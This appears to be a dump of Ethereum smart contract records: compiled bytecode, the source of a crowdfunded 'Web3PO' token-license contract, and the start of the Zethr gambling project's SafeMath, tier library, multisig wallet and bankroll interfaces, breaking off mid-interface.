0x60606040526004361061015d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461016b57806306fdde031461019c57806310d0ffdd1461022657806318160ddd1461023c578063226093731461024f57806327defa1f14610265578063313ce5671461028c5780633ccfd60b146102b55780634b750334146102ca57806356d399e8146102dd578063688abbf7146102f05780636b2f46321461030857806370a082311461031b57806376be15851461033a5780638328b610146103595780638620410b1461036f57806387c9505814610382578063949e8acd146103a657806395d89b41146103b9578063a8e04f34146103cc578063a9059cbb146103df578063b84c824614610401578063c47f002714610452578063e4849b32146104a3578063e9fad8ee146104b9578063f088d547146104cc578063fdb5a03e146104e0575b6101683460006104f3565b50005b341561017657600080fd5b61018a600160a060020a0360043516610abe565b60405190815260200160405180910390f35b34156101a757600080fd5b6101af610af9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101eb5780820151838201526020016101d3565b50505050905090810190601f1680156102185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023157600080fd5b61018a600435610b97565b341561024757600080fd5b61018a610bc7565b341561025a57600080fd5b61018a600435610bce565b341561027057600080fd5b610278610c07565b604051901515815260200160405180910390f35b341561029757600080fd5b61029f610c10565b60405160ff909116815260200160405180910390f35b34156102c057600080fd5b6102c8610c15565b005b34156102d557600080fd5b61018a610ce1565b34156102e857600080fd5b61018a610d35565b34156102fb57600080fd5b61018a6004351515610d3b565b341561031357600080fd5b61018a610d7e565b341561032657600080fd5b61018a600160a060020a0360043516610d8c565b341561034557600080fd5b610278600160a060020a0360043516610da7565b341561036457600080fd5b6102c8600435610dbc565b341561037a57600080fd5b61018a610dea565b341561038d57600080fd5b6102c8600160a060020a03600435166024351515610e32565b34156103b157600080fd5b61018a610e86565b34156103c457600080fd5b6101af610e99565b34156103d757600080fd5b6102c8610f04565b34156103ea57600080fd5b610278600160a060020a0360043516602435610f39565b341561040c57600080fd5b6102c860046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110f195505050505050565b341561045d57600080fd5b6102c860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061113195505050505050565b34156104ae57600080fd5b6102c860043561116c565b34156104c457600080fd5b6102c86112c9565b61018a600160a060020a0360043516611300565b34156104eb57600080fd5b6102c861130c565b60008060008060008060008060008a6000339050600b60009054906101000a900460ff1680156105345750671bc16d674ec8000082610530610d7e565b0311155b1561083c57600160a060020a03811660009081526003602052604090205460ff16151560011480156105895750600160a060020a0381166000908152600760205260409020546702c68af0bb14000090830111155b151561059457600080fd5b600160a060020a0381166000908152600760205260409020546105b790836113c7565b600160a060020a0382166000908152600760205260409020553399506105de8d60056113dd565b98506105eb8960036113dd565b97506105f789896113f4565b96506106038d8a6113f4565b955061060e86611406565b94506801000000000000000087029350600085118015610638575060085461063686826113c7565b115b151561064357600080fd5b600160a060020a038c161580159061066d575089600160a060020a03168c600160a060020a031614155b80156106935750600254600160a060020a038d1660009081526004602052604090205410155b156106d957600160a060020a038c166000908152600560205260409020546106bb90896113c7565b600160a060020a038d166000908152600560205260409020556106f4565b6106e387896113c7565b965068010000000000000000870293505b600060085411156107585761070b600854866113c7565b600881905568010000000000000000880281151561072557fe5b6009805492909104909101905560085468010000000000000000880281151561074a57fe5b04850284038403935061075e565b60088590555b600160a060020a038a1660009081526004602052604090205461078190866113c7565b600460008c600160a060020a0316600160a060020a031681526020019081526020016000208190555083856009540203925082600660008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a50610aae565b600b805460ff191690553399506108548d60056113dd565b98506108618960036113dd565b975061086d89896113f4565b96506108798d8a6113f4565b955061088486611406565b945068010000000000000000870293506000851180156108ae57506008546108ac86826113c7565b115b15156108b957600080fd5b600160a060020a038c16158015906108e3575089600160a060020a03168c600160a060020a031614155b80156109095750600254600160a060020a038d1660009081526004602052604090205410155b1561094f57600160a060020a038c1660009081526005602052604090205461093190896113c7565b600160a060020a038d1660009081526005602052604090205561096a565b61095987896113c7565b965068010000000000000000870293505b600060085411156109ce57610981600854866113c7565b600881905568010000000000000000880281151561099b57fe5b600980549290910490910190556008546801000000000000000088028115156109c057fe5b0485028403840393506109d4565b60088590555b600160a060020a038a166000908152600460205260409020546109f790866113c7565b600460008c600160a060020a0316600160a060020a031681526020019081526020016000208190555083856009540203925082600660008c600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055508b600160a060020a03168a600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58f8860405191825260208201526040908101905180910390a3849a505b5050505050505050505092915050565b600160a060020a0316600090815260066020908152604080832054600490925290912054600954680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8f5780601f10610b6457610100808354040283529160200191610b8f565b820191906000526020600020905b815481529060010190602001808311610b7257829003601f168201915b505050505081565b6000808080610ba78560056113dd565b9250610bb385846113f4565b9150610bbe82611406565b95945050505050565b6008545b90565b6000806000806008548511151515610be557600080fd5b610bee85611498565b9250610bfb8360056113dd565b9150610bbe83836113f4565b600b5460ff1681565b601281565b6000806000610c246001610d3b565b11610c2e57600080fd5b339150610c3b6000610d3b565b600160a060020a0383166000818152600660209081526040808320805468010000000000000000870201905560059091528082208054929055920192509082156108fc0290839051600060405180830381858888f193505050501515610ca057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b60008060008060085460001415610cff57640218711a009350610d2f565b610d10670de0b6b3a7640000611498565b9250610d1d8360056113dd565b9150610d2983836113f4565b90508093505b50505090565b60025481565b60003382610d5157610d4c81610abe565b610d75565b600160a060020a038116600090815260056020526040902054610d7382610abe565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526004602052604090205490565b600a6020526000908152604090205460ff1681565b33600160a060020a0381166000908152600a602052604090205460ff161515610de457600080fd5b50600255565b60008060008060085460001415610e085764028fa6ae009350610d2f565b610e19670de0b6b3a7640000611498565b9250610e268360056113dd565b9150610d2983836113c7565b33600160a060020a0381166000908152600a602052604090205460ff161515610e5a57600080fd5b50600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b600033610e9281610d8c565b91505b5090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8f5780601f10610b6457610100808354040283529160200191610b8f565b33600160a060020a0381166000908152600a602052604090205460ff161515610f2c57600080fd5b50600b805460ff19169055565b600080600080600080610f4a610e86565b11610f5457600080fd5b600b5433945060ff16158015610f825750600160a060020a0384166000908152600460205260409020548611155b1515610f8d57600080fd5b6000610f996001610d3b565b1115610fa757610fa7610c15565b610fb28660056113dd565b9250610fbe86846113f4565b9150610fc983611498565b9050610fd7600854846113f4565b600855600160a060020a038416600090815260046020526040902054610ffd90876113f4565b600160a060020a03808616600090815260046020526040808220939093559089168152205461102c90836113c7565b600160a060020a0388811660008181526004602090815260408083209590955560098054948a16835260069091528482208054948c029094039093558254918152929092208054928502909201909155546008546110a0919068010000000000000000840281151561109a57fe5b046113c7565b600955600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b33600160a060020a0381166000908152600a602052604090205460ff16151561111957600080fd5b600182805161112c929160200190611537565b505050565b33600160a060020a0381166000908152600a602052604090205460ff16151561115957600080fd5b600082805161112c929160200190611537565b600080600080600080600061117f610e86565b1161118957600080fd5b33600160a060020a0381166000908152600460205260409020549096508711156111b257600080fd5b8694506111be85611498565b93506111cb8460056113dd565b92506111d784846113f4565b91506111e5600854866113f4565b600855600160a060020a03861660009081526004602052604090205461120b90866113f4565b600160a060020a038716600090815260046020908152604080832093909355600954600690915291812080549288026801000000000000000086020192839003905560085491925090111561127c5761127860095460085468010000000000000000860281151561109a57fe5b6009555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a038116600090815260046020526040812054908111156112f4576112f48161116c565b6112fc610c15565b5050565b6000610d7834836104f3565b60008060008061131c6001610d3b565b1161132657600080fd5b6113306000610d3b565b33600160a060020a03811660009081526006602090815260408083208054680100000000000000008702019055600590915281208054908290559092019450925061137c9084906104f3565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b6000828201838110156113d657fe5b9392505050565b60008082848115156113eb57fe5b04949350505050565b60008282111561140057fe5b50900390565b6008546000906b204fce5e3e25026110000000908290633b9aca0061148561147f7259aedfc10d7279c5eed140164540000000000088026002850a670de0b6b3a764000002016f0f0bdc21abb48db201e86d40000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001611502565b856113f4565b81151561148e57fe5b0403949350505050565b600854600090670de0b6b3a76400008381019181019083906114ef640218711a00828504633b9aca0002018702600283670de0b6b3a763ffff1982890a8b90030104633b9aca00028115156114e957fe5b046113f4565b8115156114f857fe5b0495945050505050565b80600260018201045b81811015610d7857809150600281828581151561152457fe5b040181151561152f57fe5b04905061150b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061157857805160ff19168380011785556115a5565b828001600101855582156115a5579182015b828111156115a557825182559160200191906001019061158a565b50610e9592610bcb9250905b80821115610e9557600081556001016115b15600a165627a7a723058205c1276b81e2bba281404e3b0bec28bce4b626de4936119809a6b5306f9ec15180029
[ 4 ]
0xf2858e49035e61f6f7875032b85b9c98581cbb6a
// SPDX-License-Identifier: None pragma solidity ^0.8.11; interface Checker { function totalSupply() external view returns (uint256); } contract Web3PO { uint256 m_Base = 10**17; uint256 m_Price = 5; uint256 m_Funds = 0; address m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00; mapping (address => bool) m_Contract; mapping (address => uint256) m_Progress; mapping (address => mapping (address => uint256)) m_Contribution; constructor() {} receive() external payable{ m_Funds += msg.value; } function purchaseLicense(address _contract) external payable{ require(!m_Contract[_contract],"This token has already been enhanced"); require(Checker(_contract).totalSupply() > 0,"This address is not a token"); uint256 _current = m_Progress[_contract]; uint256 _remaining = (m_Base * m_Price) - _current; if(msg.value > _remaining){ uint256 _refund = msg.value - _remaining; m_Progress[_contract] += msg.value - _refund; m_Contribution[_contract][msg.sender] += msg.value - _refund; payable(msg.sender).transfer(_refund); } else{ m_Progress[_contract] += msg.value; m_Contribution[_contract][msg.sender] += msg.value; } if(m_Progress[_contract] >= (m_Base * m_Price)-10**15){ m_Contract[_contract] = true; m_Funds += m_Progress[_contract]; } } function removeContribution(address _contract) external{ require(m_Contribution[_contract][msg.sender] > 0); require(!m_Contract[_contract]); uint256 _amount = m_Contribution[_contract][msg.sender]; m_Progress[_contract] -= _amount; m_Contribution[_contract][msg.sender] = 0; payable(msg.sender).transfer(_amount); } function checkContract(address _contract) external view returns (bool){ if(m_Contract[_contract]) return true; return false; } function checkProgress(address _contract) external view returns (uint256 Funded, uint256 Goal){ return (m_Progress[_contract], (m_Base * m_Price)); } function getContribution(address _contract) external view returns (uint256){ return m_Contribution[_contract][msg.sender]; } function updateCost(uint256 _integer) external{ require(msg.sender == m_WebThree); m_Price = _integer; } function withdraw() external { require(msg.sender == m_WebThree); payable(m_WebThree).transfer(m_Funds); m_Funds = 0; } }
0x6080604052600436106100745760003560e01c80633ccfd60b1161004e5780633ccfd60b1461013d578063c7286a2114610154578063d7b124541461017d578063e306574f146101ba57610094565b806321eff7fc1461009957806323c5a088146100d657806331100ec6146100ff57610094565b3661009457346002600082825461008b9190610c1b565b92505081905550005b600080fd5b3480156100a557600080fd5b506100c060048036038101906100bb9190610cd4565b6101d6565b6040516100cd9190610d10565b60405180910390f35b3480156100e257600080fd5b506100fd60048036038101906100f89190610d57565b61025c565b005b34801561010b57600080fd5b5061012660048036038101906101219190610cd4565b6102c0565b604051610134929190610d84565b60405180910390f35b34801561014957600080fd5b5061015261031c565b005b34801561016057600080fd5b5061017b60048036038101906101769190610cd4565b6103eb565b005b34801561018957600080fd5b506101a4600480360381019061019f9190610cd4565b61066f565b6040516101b19190610dc8565b60405180910390f35b6101d460048036038101906101cf9190610cd4565b6106d6565b005b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102b657600080fd5b8060018190555050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001546000546103139190610de3565b91509150915091565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461037657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f193505050501580156103e0573d6000803e3d6000fd5b506000600281905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161047457600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104cb57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461059b9190610e3d565b925050819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561066a573d6000803e3d6000fd5b505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106cc57600190506106d1565b600090505b919050565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90610ef4565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d49190610f29565b11610814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080b90610fa2565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008160015460005461086b9190610de3565b6108759190610e3d565b9050803411156109db576000813461088d9190610e3d565b9050803461089b9190610e3d565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108e99190610c1b565b9250508190555080346108fc9190610e3d565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109879190610c1b565b925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156109d4573d6000803e3d6000fd5b5050610ac5565b34600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a2a9190610c1b565b9250508190555034600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610abd9190610c1b565b925050819055505b66038d7ea4c68000600154600054610add9190610de3565b610ae79190610e3d565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610bdd576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460026000828254610bd59190610c1b565b925050819055505b505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610c2682610be2565b9150610c3183610be2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610c6657610c65610bec565b5b828201905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610ca182610c76565b9050919050565b610cb181610c96565b8114610cbc57600080fd5b50565b600081359050610cce81610ca8565b92915050565b600060208284031215610cea57610ce9610c71565b5b6000610cf884828501610cbf565b91505092915050565b610d0a81610be2565b82525050565b6000602082019050610d256000830184610d01565b92915050565b610d3481610be2565b8114610d3f57600080fd5b50565b600081359050610d5181610d2b565b92915050565b600060208284031215610d6d57610d6c610c71565b5b6000610d7b84828501610d42565b91505092915050565b6000604082019050610d996000830185610d01565b610da66020830184610d01565b9392505050565b60008115159050919050565b610dc281610dad565b82525050565b6000602082019050610ddd6000830184610db9565b92915050565b6000610dee82610be2565b9150610df983610be2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610e3257610e31610bec565b5b828202905092915050565b6000610e4882610be2565b9150610e5383610be2565b925082821015610e6657610e65610bec565b5b828203905092915050565b600082825260208201905092915050565b7f5468697320746f6b656e2068617320616c7265616479206265656e20656e686160008201527f6e63656400000000000000000000000000000000000000000000000000000000602082015250565b6000610ede602483610e71565b9150610ee982610e82565b604082019050919050565b60006020820190508181036000830152610f0d81610ed1565b9050919050565b600081519050610f2381610d2b565b92915050565b600060208284031215610f3f57610f3e610c71565b5b6000610f4d84828501610f14565b91505092915050565b7f546869732061646472657373206973206e6f74206120746f6b656e0000000000600082015250565b6000610f8c601b83610e71565b9150610f9782610f56565b602082019050919050565b60006020820190508181036000830152610fbb81610f7f565b905091905056fea2646970667358221220bd4e7656a87d940484369d977e7b5998c50ac00347333266144ba9c2721f78a064736f6c634300080b0033
[ 38 ]
0xf2861ad8dd602269c21eddd4d18255903cca47c7
/* Zethr | https://zethr.io (c) Copyright 2018 | All Rights Reserved This smart contract was developed by the Zethr Dev Team and its source code remains property of the Zethr Project. */ pragma solidity ^0.4.24; // File: contracts/Libraries/SafeMath.sol library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } // File: contracts/Libraries/ZethrTierLibrary.sol library ZethrTierLibrary { uint constant internal magnitude = 2 ** 64; // Gets the tier (1-7) of the divs sent based off of average dividend rate // This is an index used to call into the correct sub-bankroll to withdraw tokens function getTier(uint divRate) internal pure returns (uint8) { // Divide the average dividned rate by magnitude // Remainder doesn't matter because of the below logic uint actualDiv = divRate / magnitude; if (actualDiv >= 30) { return 6; } else if (actualDiv >= 25) { return 5; } else if (actualDiv >= 20) { return 4; } else if (actualDiv >= 15) { return 3; } else if (actualDiv >= 10) { return 2; } else if (actualDiv >= 5) { return 1; } else if (actualDiv >= 2) { return 0; } else { // Impossible revert(); } } function getDivRate(uint _tier) internal pure returns (uint8) { if (_tier == 0) { return 2; } else if (_tier == 1) { return 5; } else if (_tier == 2) { return 10; } else if (_tier == 3) { return 15; } else if (_tier == 4) { return 20; } else if (_tier == 5) { return 25; } else if (_tier == 6) { return 33; } else { revert(); } } } // File: contracts/ERC/ERC223Receiving.sol contract ERC223Receiving { function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); } // File: contracts/ZethrMultiSigWallet.sol /* Zethr MultisigWallet * * Standard multisig wallet * Holds the bankroll ETH, as well as the bankroll 33% ZTH tokens. */ contract ZethrMultiSigWallet is ERC223Receiving { using SafeMath for uint; /*================================= = EVENTS = =================================*/ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event WhiteListAddition(address indexed contractAddress); event WhiteListRemoval(address indexed contractAddress); event RequirementChange(uint required); event BankrollInvest(uint amountReceived); /*================================= = VARIABLES = =================================*/ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; bool internal reEntered = false; uint constant public MAX_OWNER_COUNT = 15; /*================================= = CUSTOM CONSTRUCTS = =================================*/ struct Transaction { address destination; uint value; bytes data; bool executed; } struct TKN { address sender; uint value; } /*================================= = MODIFIERS = =================================*/ modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier isAnOwner() { address caller = msg.sender; if (isOwner[caller]) _; else revert(); } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /*================================= = PUBLIC FUNCTIONS = =================================*/ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor (address[] _owners, uint _required) public validRequirement(_owners.length, _required) { // Add owners for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } // Set owners owners = _owners; // Set required required = _required; } /** Testing only. function exitAll() public { uint tokenBalance = ZTHTKN.balanceOf(address(this)); ZTHTKN.sell(tokenBalance - 1e18); ZTHTKN.sell(1e18); ZTHTKN.withdraw(address(0x0)); } **/ /// @dev Fallback function allows Ether to be deposited. function() public payable { } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) validRequirement(owners.length, required) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txToExecute = transactions[transactionId]; txToExecute.executed = true; if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txToExecute.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /*================================= = OPERATOR FUNCTIONS = =================================*/ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes /*_data*/) public returns (bool) { return true; } } // File: contracts/Bankroll/Interfaces/ZethrTokenBankrollInterface.sol // Zethr token bankroll function prototypes contract ZethrTokenBankrollInterface is ERC223Receiving { uint public jackpotBalance; function getMaxProfit(address) public view returns (uint); function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external; function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public; } // File: contracts/Bankroll/Interfaces/ZethrBankrollControllerInterface.sol contract ZethrBankrollControllerInterface is ERC223Receiving { address public jackpotAddress; ZethrTokenBankrollInterface[7] public tokenBankrolls; ZethrMultiSigWallet public multiSigWallet; mapping(address => bool) public validGameAddresses; function gamePayoutResolver(address _resolver, uint _tokenAmount) public; function isTokenBankroll(address _address) public view returns (bool); function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address); function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); } // File: contracts/ERC/ERC721Interface.sol contract ERC721Interface { function approve(address _to, uint _tokenId) public; function balanceOf(address _owner) public view returns (uint balance); function implementsERC721() public pure returns (bool); function ownerOf(uint _tokenId) public view returns (address addr); function takeOwnership(uint _tokenId) public; function totalSupply() public view returns (uint total); function transferFrom(address _from, address _to, uint _tokenId) public; function transfer(address _to, uint _tokenId) public; event Transfer(address indexed from, address indexed to, uint tokenId); event Approval(address indexed owner, 